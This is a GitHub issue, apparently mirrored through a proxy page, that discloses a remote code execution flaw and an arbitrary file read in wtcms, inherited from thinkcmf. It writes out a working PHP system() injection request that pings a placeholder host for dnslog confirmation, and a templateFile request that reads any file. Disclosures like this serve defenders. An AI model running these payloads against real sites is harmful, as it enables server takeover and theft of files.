Thanks to visit codestin.com
Credit goes to github.com

Skip to content

There is a RCE vulnerability in wtcms #12

@Maskhe

Description

@Maskhe

wtcms is based on thinkcmf,but there is a RCE vulnerability has been exposed about thinkcmf in October(detail:https://www.freebuf.com/vuls/218105.html)。An attacker can execute any command by requesting ?a=fetch&content=<?php system('ping xxxxxx');?>

To demonstrate this vulnerability, we reproduce it via dnslog

屏幕截图_345

after sending request above, we can get some dns query record on dnslog platform
屏幕截图_344

besides, we can read any file by sending a request ?a=display&templateFile=README.md

we can change the value of templateFile to read any file.

屏幕截图_346

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions